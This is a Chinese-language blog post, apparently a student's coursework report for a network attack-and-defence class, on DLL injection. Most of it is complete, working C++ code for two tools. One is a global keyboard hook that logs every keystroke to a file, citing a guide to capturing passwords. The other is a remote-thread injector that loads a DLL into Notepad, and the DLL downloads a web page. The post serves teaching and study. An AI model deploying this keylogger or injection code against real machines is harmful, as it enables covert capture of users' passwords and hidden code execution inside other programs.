目录
前言
一、dll注入的介绍和示例
dll注入介绍
dll注入示例
二、dll注入实现方法
三、键盘消息监听钩取
消息钩取原理
键盘消息监听钩取具体实现
四、dll注入记事本实现联网下载网页
介绍
实现
五、总结
前言
这是研一专业课网络攻防对抗术的一次汇报,我对其大致内容做了相应梳理并整理在此。
主要内容为:DLL注入的介绍、示例、分类、以及两种方法实现注入的实例和总结。
一、dll注入的介绍和示例
首先,我们需要先介绍什么是dll文件和dll文件的调用机制,然后才能更好的理解dll注入是什么,要如何做。
-
dll注入介绍
1.dll文件:是可以被其它应用程序共享的程序模块,其中封装了一些可以被共享的程序和资源。在操作系统中,许多exe文件的程序模块会被分割为独立的dll文件,我们可以把它类比为python中的numpy库。另外,引入dll文件有许多的好处,比如说减少代码量,节约磁盘空间等等。
2.dll文件调用机制:exe文件需要调用dll文件中的功能的时候,就会采用相应的调用机制。在进程的地址空间中,操作系统通过LoadLibrary函数调用每个dll文件,就可以加载这些dll文件中的功能。
那么,如果我们将自己编写的dll文件,强制性的放在一个进程的地址空间中,并强制性的让他调用LoadLibrary函数,就可以对这个dll文件进行加载,从而实现这个进程没有实现到的功能。这种方式就叫做dll注入。
3.dll注入:将dll放进某个进程的地址空间里,这样该进程和dll共享同一内存空间,dll可以使用该进程的所有资源,随时监控程序运行。
因为比较简单,所以dll注入被看作渗透进其他进程最简单有效的方法。
-
dll注入示例
通过dll注入,注入到一个进程中的dll文件就拥有目标进程内存的访问权限,这样就可以对目标进程随意操作。dll注入的例子有很多,这里仅仅列举几个常见的方向:
1.改善功能与修复Bug:可以使用DLL注入技术为程序添加新功能(类似于插件),或者修改有问题的代码、数据等。
2.消息钩取:windows os自带的消息钩取功能就是一种dll注入技术,它自带了一些dll文件,我们只需要编写函数将其注入就可以。比如说后面会提到的键盘消息钩取。
3.监视、管理应用程序的使用:类似手机中常见的青少年模式,比如,用来阻止特定程序(像游戏、股票交易等)运行、禁止访问有害网站,以及监视PC的使用等。
4.恶意代码:不法分子通过把自己编写的恶意代码隐藏到正常进程中,施放dll文件,开启后门端口,进行窃取用户信息、篡改注册表,强制安装病毒等恶意操作。
二、dll注入实现方法
dll注入主要分为以下三种:创建远程进程,消息钩取,使用注册表。
本文通过前两种方式实现dll注入,分别为通过消息钩取创建全局钩子实现键盘消息监听钩取,通过创建远程线程注入记事本实现自动下载网页。
三、键盘消息监听钩取
-
消息钩取原理
这里就利用了刚才所说的wondows自带的消息钩取方法。Windows OS提供的GUI通过事件驱动(事件指鼠标点击,键盘按键等)。发生事件时,OS会把相应消息发送给应用程序。消息钩子在此间偷看信息,实现相应操作。
如键盘输入事件,操作系统将键盘输入的消息添加到OS消息队列,并准备发送到相应应用程序的消息队列。
在消息发送过程中,插入消息钩子,钩子会比应用程序先看到消息。
另外,在消息钩子的内部,除了可以查看消息,还可以对消息进行更改、拦截。
消息钩取工作原理
-
键盘消息监听钩取具体实现
1.SetWindowsHookEx():利用这个API可以轻松实现消息钩子
这个函数的第一行设置了全局键盘钩子,全局的意思是不指定任何进程,只要是键盘输入就可以进行钩取,第二行设置的是这个钩子执行的回调函数,其主要功能就是对键盘消息进行转化,转化成对应的按键存储在txt文档中。第三行应该是注入的dll句柄,在这个方法中没有创建dll文件,所以返回的是NULL。
2.KeyBoardProc():钩子执行的回调函数。
3.创建MFC界面作为工具
4.具体代码实现:
此处参考了:HOOK实例之一:实现键盘钩子截获密码等键盘输入(vs2013详细流程)_慕公子的博客-CSDN博客
①创建MFC应用程序解决方案--KeyboardHook(用MFC是因为MFC有页面,更直观),中间选应用程序类型选基于对话框,其他一直下一步,最后点击完成。
②编辑MFC对话框:
点击工具箱,给对话框添加两个按钮(button)。
点击button1,在右下属性栏修改Caption为hook,同理修改button2为stop hook,并删除“确定”和“设置对话框控件”(原因:1.丑,2.确定按钮会影响到回车键的输入)。
这里也可以修改属性->杂项->ID来修改button的ID,使系统生成的函数名直观易懂,便于项目维护,不过我们的项目这是一个演示demo,就懒得修改了。
3.编辑KeyboardHookDlg.cpp,实现截取键盘按键的功能。
分别双击两个按钮,就可以生成它们的事件函数。
两个函数的实现如下:
void CKeyboardHookDlg::OnBnClickedButton1() { string str = "start:"; SaveFile << str << endl; //这里调用SetWindowsHookExA()函数,因为hook的实现不是在DLL中,而是直接在KeyboardHookDlg.cpp中实现,所有第4个参数使用GetModuleHandle(NULL) glhHook = SetWindowsHookExA(WH_KEYBOARD_LL, KeyboardProc, GetModuleHandle(NULL), NULL); if (glhHook != NULL) { //AfxMessageBox(L"StartHook成功!");//用于打桩测试,通过后注释掉,不然太麻烦 } else { AfxMessageBox(L"StartHook失败!"); } } void CKeyboardHookDlg::OnBnClickedButton2() { UnhookWindowsHookEx(glhHook); }
处理函数KeyboardProc实现如下:
//键盘钩子回调函数 LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) { char c[2]; c[1] = 0; if ((wParam == WM_KEYDOWN) && (HC_ACTION == nCode)) { //有键按下 KBDLLHOOKSTRUCT * keyNum = (KBDLLHOOKSTRUCT *)lParam; //处理字母大小写 if ((keyNum->vkCode == VK_CAPITAL) || (keyNum->vkCode == VK_LSHIFT) || (keyNum->vkCode == VK_RETURN) || (keyNum->vkCode >= 65 && keyNum->vkCode <= 90)) { if (!GetKeyState(VK_CAPITAL)) { //如果大写锁定键未被按下 g_bCapsLock = FALSE; } else { g_bCapsLock = TRUE; } if (GetAsyncKeyState(VK_LSHIFT) & 0x8000) { //如果shift键被按住 g_bShift = TRUE; } else { g_bShift = FALSE; } if (keyNum->vkCode >= 65 && keyNum->vkCode <= 90) { BOOL flag = g_bCapsLock^g_bShift;//同假异真 if (flag) { c[0] = keyNum->vkCode; } else { c[0] = keyNum->vkCode + 32; } SaveFile << (int)c[0] << " : " << c << endl; } } //处理数字小键盘 else if (keyNum->vkCode == 144 || (keyNum->vkCode >= VK_NUMPAD0 && keyNum->vkCode <= VK_NUMPAD9)) { //144表示数字小键盘锁键 if (GetKeyState(144)) { //如果数字小键盘锁键被按下 int mapKey = keyNum->vkCode - 48; SaveFile << keyNum->vkCode << " : " << char(mapKey) << endl; } } else { SaveFile << keyNum->vkCode << " : " << char(keyNum->vkCode) << endl; } } return CallNextHookEx(glhHook, nCode, wParam, lParam); }
同时需要在KeyboardHookDlg.cpp文件头部添加库函数和全局变量:
#include <iostream> #include <string> #include <fstream> using namespace std; //全局变量 HHOOK glhHook = NULL; //安装的鼠标勾子句柄 BOOL g_bCapsLock = FALSE; //大小写锁定键 BOOL g_bShift = FALSE; //shift键 ofstream SaveFile("key.txt");
④点击生成解决方案,在Debug目录下,运行KeyboardHook.exe,点击“hook”按钮,然后随便在哪里输入内容,在目录下会生成“key.txt”,其中就记录着“键盘按键键码vkCode:按键键值”。
目前代码只实现了区分大小写字母、数字、数字小键盘输入,其他的按键如标点符号等没有处理,如有需要,可以参考我的其他文章进行处理。
四、dll注入记事本实现联网下载网页
-
介绍
目的:通过创建远程线程实现dll注入,注入到记事本中实现自动下载网页。
原理:在操作系统为记事本进程开辟的地址空间中,不仅存放Notepad.exe文件,还有exe文件运行时需要调用的若干个dll文件,其中一个文件存放了LoadLibrary函数的地址(Kernel32.dll)。
因此,在dll文件中编写好需要实现的功能后,将其注入的实现方法就要分两步走,第一步就是把dll文件路径写入这个地址空间,第二步就是找到loadLibrary函数地址,调用他,让他加载inject.dll。
在这里,我们编写的dll文件(Inject.dll)需要去做两件事情:被注入后弹出消息窗口显示注入成功,并创建一个线程实现联网下载网页。
图中的DLL_PROCESS_ATTACH表示注入成功,在这里编写的就是注入成功的操作。
在CreatThread方法中的调用runBot函数,实现网页下载。
注入:通过InjectDll.exe,在main函数中规定了dll文件的路径,同时获取了记事本进程的句柄和PID,调用Inject函数进行注入。
在Inject函数中,通过句柄,来获取全部访问的权限,实现对进程的控制。 再去开辟内存,写入dll的路径。
接下来通过获取kernel32.dll文件的句柄,来寻找LoadLibrary函数的地址。
最后创建一个远程线程,调用这个函数加载dll文件。最后等待进程结束后释放内存。
-
实现
创建项目:
①写dll
打开VS,创建新项目,选择”动态链接库“。
将文件命名为Inject.dll,dllmain.cpp里有vs为我们准备好的dll程序入口。
dllmain.cpp代码如下:
// dllmain.cpp : 定义 DLL 应用程序的入口点。 #include "pch.h" #include <windows.h> #include <urlmon.h> #pragma comment (lib,"Urlmon.lib") #define DEF_URL (L"https://www.runoob.com/") #define DEF_FILE_NAME (L"C:\\Users\\Hailey\\Desktop\\HookWechat\\x64\\Debug\\index.html") DWORD WINAPI runBot(LPVOID lpParam) { HRESULT hresult = URLDownloadToFileW(NULL, DEF_URL, DEF_FILE_NAME, 0, NULL); if (hresult == S_OK) { MessageBox(0, L"下载成功\n", L"联网下载线程", MB_OK); } else { MessageBox(0, L"下载失败\n", L"联网下载线程", MB_OK); } return 0; } BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: OutputDebugString(L"Inject.dll Injection!!!"); MessageBox(0, L"DLL Attached!\n", L"Notepad Hacking", MB_OK); HANDLE hThread = CreateThread(NULL, 0, &runBot, NULL, 0, NULL); CloseHandle(hThread); break; } return TRUE; }
②写exe
在同一个解决方案下新建项目,选择控制台应用,将其命名为InjectDll.cpp。
InjectDll.cpp代码如下:
// InjectDll.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。 // #define _CRT_SECURE_NO_WARNINGS #include <iostream> #include "stdlib.h" #include <tchar.h> #include <Windows.h> void Inject(DWORD dwId, WCHAR* szPath)//参数1:目标进程PID 参数2:DLL路径 { //一、在目标进程中申请一个空间 /* 【1.1 获取目标进程句柄】 参数1:想要拥有的进程权限(本例为所有能获得的权限) 参数2:表示所得到的进程句柄是否可以被继承 参数3:被打开进程的PID 返回值:指定进程的句柄 */ printf("---------------开始尝试注入-------------------\n"); HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwId); if (hProcess) { printf("OpenProcess Success!\n"); } else { printf("OpenProcess Failed!\n"); } /* 【1.2 在目标进程的内存里开辟空间】 参数1:目标进程句柄 参数2:保留页面的内存地址,一般用NULL自动分配 参数3:欲分配的内存大小,字节单位 参数4:MEM_COMMIT:为特定的页面区域分配内存中或磁盘的页面文件中的物理存储 参数5:PAGE_READWRITE 区域可被应用程序读写 返回值:执行成功就返回分配内存的首地址,不成功就是NULL */ LPVOID pRemoteAddress = VirtualAllocEx( hProcess, NULL, 1, MEM_COMMIT, PAGE_READWRITE ); if (pRemoteAddress) { printf("VirtualAllocEx Success!\n"); } //二、 把dll的路径写入到目标进程的内存空间中 ULONG_PTR dwWriteSize = 0; /* 【写一段数据到刚才给指定进程所开辟的内存空间里】 参数1:OpenProcess返回的进程句柄 参数2:准备写入的内存首地址 参数3:指向要写的数据的指针(准备写入的东西) 参数4:要写入的字节数(东西的长度+0/) 参数5: 返回值。返回实际写入的字节 */ if (!WriteProcessMemory(hProcess, pRemoteAddress, szPath, wcslen(szPath) * 2 + 2, &dwWriteSize)) { printf("WriteProcessMemory Failed\n"); } // 远程执行我们的dll,通过注入的dll地址以及CreateRemoteThread方法让j进程调用起我们的进程 //三、 创建一个远程线程,让目标进程调用LoadLibrary /* 参数1:该远程线程所属进程的进程句柄 参数2:一个指向 SECURITY_ATTRIBUTES 结构的指针, 该结构指定了线程的安全属性 参数3:线程栈初始大小,以字节为单位,如果该值设为0,那么使用系统默认大小 参数4:在远程进程的地址空间中,该线程的线程函数的起始地址(也就是这个线程具体要干的活儿) 参数5:传给线程函数的参数(刚才在内存里开辟的空间里面写入的东西) 参数6:控制线程创建的标志。0(NULL)表示该线程在创建后立即运行 参数7:指向接收线程标识符的变量的指针。如果此参数为NULL,则不返回线程标识符 返回值:如果函数成功,则返回值是新线程的句柄。如果函数失败,则返回值为NULL */ HMODULE k32 = GetModuleHandle(L"kernel32.dll"); if (!k32) printf("GetModuleHandle Failed!"); LPVOID loadAdd = GetProcAddress(k32, "LoadLibraryW"); std::cout << "loadAdd:" << loadAdd ; printf("\n"); HANDLE hThread = CreateRemoteThread( hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)loadAdd, pRemoteAddress, 0, NULL ); if (!hThread) { printf("CreateRemoteThread Failed"); } WaitForSingleObject(hThread, -1); //当句柄所指的线程有信号的时候,才会返回 printf("---------注入成功--------\n"); /* 四、 【释放申请的虚拟内存空间】 参数1:目标进程的句柄。该句柄必须拥有 PROCESS_VM_OPERATION 权限 参数2:指向要释放的虚拟内存空间首地址的指针 参数3:虚拟内存空间的字节数 参数4:MEM_DECOMMIT仅标示内存空间不可用,内存页还将存在。 MEM_RELEASE这种方式很彻底,完全回收。 */ if (!VirtualFreeEx(hProcess, pRemoteAddress, 1, MEM_DECOMMIT)) { printf("VirtualFreeEx Failed\n"); } else { printf("VirtualFreeEx Success\n"); } } int _tmain(int argc, _TCHAR* argv[]) { wchar_t wStr[] = L"C:\\Users\\Hailey\\Desktop\\HookWechat\\x64\\Debug\\Inject.dll"; //此处更改为你的dll存放的路径。 DWORD dwId = 0; //参数1:(NULL //参数2:目标窗口的标题 //返回值:目标窗口的句柄 HWND hCalc = FindWindowA("Notepad", NULL); printf("目标窗口的句柄为:%p\n", hCalc); DWORD dwPid = 0; //参数1:目标进程的窗口句柄 //参数2:把目标进程的PID存放进去 DWORD dwRub = GetWindowThreadProcessId(hCalc, &dwPid); printf("目标窗口的进程PID为:%d\n", dwPid); //参数1:目标进程的PID //参数2:想要注入DLL的路径 Inject(dwPid, wStr); system("pause"); return 0; }
我是64位的电脑,所以需要将编译环境全部改为64位:
注意,64位的电脑是不可以对该项目调试的,不然就会出现如下情况:
所以我们直接点击生成解决方案(F7),在目录下就生成好.exe文件和.dll文件了。
③运行
若要运行程序,需要先打开记事本。这样才存在记事本进程,才能通过记事本进程句柄找到PID实现注入。
打开记事本,我们可以在process explore中找到Notepad.exe:
点击View-Show LowerPane,显示该进程调用的dll文件。
现在让我们打开InjectDll.exe文件:
记事本弹出了消息,显示注入成功,我们点击确定按钮:
这样就实现了联网下载网页了,可以看到文件目录下的网页的修改日期,是新下载成功的:
并且,在process explore中查看notepad.exe加载的dll文件,可以看到我们注入的Inject.dll。
以上,就是第二种注入方法的实现全过程。
五、总结
Q:为什么选择dll注入作为汇报题目?
A:玩明星志愿的时候看到dll文件格式的游戏外挂,一度很好奇。在这次调研选题过程中看到大佬用dll注入实现扫雷外挂,十分感兴趣,于是准备将这个作为题目进行。
Q:遇到的困难
A:(叹气),本来是准备实现高大上的微信注入的,但是不知道为啥就是不成功,也许是微信版本更新的原因?
附上实现微信注入的这位大佬的原文:C++ DLL注入微信实现自动接收、发送消息 - 知乎
Q:参考的文章都贴上来吧
A:好嘞,感谢各位大佬如此认真的想要教会我(眼泪汪汪)
HOOK实例之一:实现键盘钩子截获密码等键盘输入(vs2013详细流程)_慕公子的博客-CSDN博客
详细解读:远程线程注入DLL到PC版微信 | 吹剑录
HOOK实例之一:实现键盘钩子截获密码等键盘输入(vs2013详细流程)_慕公子的博客-CSDN博客
DLL注入(一)全局钩子注入进行键盘信息监听 - S1mba - 博客园
『网络安全科普』什么是DLL注入攻击技术? - 知乎文章来源:https://www.toymoban.com/news/detail-510129.html
另外,我还参考了一本《逆向工程学原理》这本书,里面有关于dll注入十分详细的讲解,推荐大家可以看一看!文章来源地址https://www.toymoban.com/news/detail-510129.html
到了这里,关于网络攻防:DLL注入实现键盘钩取+记事本注入并联网下载网页的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!